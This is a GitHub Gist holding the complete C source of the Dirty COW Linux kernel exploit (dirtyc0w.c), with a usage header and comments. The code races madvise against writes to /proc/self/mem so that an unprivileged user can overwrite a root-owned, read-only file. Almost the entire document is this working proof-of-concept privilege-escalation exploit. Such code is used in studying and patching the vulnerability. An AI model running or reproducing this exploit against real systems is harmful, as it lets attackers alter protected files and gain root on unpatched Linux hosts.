Last active
February 28, 2017 20:29
-
-
Save ivanvza/0cdbdb20fc392221c5999549f6739c11 to your computer and use it in GitHub Desktop.
Dirtycow
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
####################### dirtyc0w.c ####################### | |
$ sudo -s | |
# echo this is not a test > foo | |
# chmod 0404 foo | |
$ ls -lah foo | |
-r-----r-- 1 root root 19 Oct 20 15:23 foo | |
$ cat foo | |
this is not a test | |
$ gcc -lpthread dirtyc0w.c -o dirtyc0w | |
$ ./dirtyc0w foo m00000000000000000 | |
mmap 56123000 | |
madvise 0 | |
procselfmem 1800000000 | |
$ cat foo | |
m00000000000000000 | |
####################### dirtyc0w.c ####################### | |
*/ | |
#include <stdio.h> | |
#include <sys/mman.h> | |
#include <fcntl.h> | |
#include <pthread.h> | |
#include <string.h> | |
void *map; | |
int f; | |
struct stat st; | |
char *name; | |
void *madviseThread(void *arg) | |
{ | |
char *str; | |
str=(char*)arg; | |
int i,c=0; | |
for(i=0;i<100000000;i++) | |
{ | |
/* | |
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 | |
> This is achieved by racing the madvise(MADV_DONTNEED) system call | |
> while having the page of the executable mmapped in memory. | |
*/ | |
c+=madvise(map,100,MADV_DONTNEED); | |
} | |
printf("madvise %d\n\n",c); | |
} | |
void *procselfmemThread(void *arg) | |
{ | |
char *str; | |
str=(char*)arg; | |
/* | |
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 | |
> The in the wild exploit we are aware of doesn't work on Red Hat | |
> Enterprise Linux 5 and 6 out of the box because on one side of | |
> the race it writes to /proc/self/mem, but /proc/self/mem is not | |
> writable on Red Hat Enterprise Linux 5 and 6. | |
*/ | |
int f=open("/proc/self/mem",O_RDWR); | |
int i,c=0; | |
for(i=0;i<100000000;i++) { | |
/* | |
You have to reset the file pointer to the memory position. | |
*/ | |
lseek(f,map,SEEK_SET); | |
c+=write(f,str,strlen(str)); | |
} | |
printf("procselfmem %d\n\n", c); | |
} | |
int main(int argc,char *argv[]) | |
{ | |
/* | |
You have to pass two arguments. File and Contents. | |
*/ | |
if (argc<3)return 1; | |
pthread_t pth1,pth2; | |
/* | |
You have to open the file in read only mode. | |
*/ | |
f=open(argv[1],O_RDONLY); | |
fstat(f,&st); | |
name=argv[1]; | |
/* | |
You have to use MAP_PRIVATE for copy-on-write mapping. | |
> Create a private copy-on-write mapping. Updates to the | |
> mapping are not visible to other processes mapping the same | |
> file, and are not carried through to the underlying file. It | |
> is unspecified whether changes made to the file after the | |
> mmap() call are visible in the mapped region. | |
*/ | |
/* | |
You have to open with PROT_READ. | |
*/ | |
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); | |
printf("mmap %x\n\n",map); | |
/* | |
You have to do it on two threads. | |
*/ | |
pthread_create(&pth1,NULL,madviseThread,argv[1]); | |
pthread_create(&pth2,NULL,procselfmemThread,argv[2]); | |
/* | |
You have to wait for the threads to finish. | |
*/ | |
pthread_join(pth1,NULL); | |
pthread_join(pth2,NULL); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment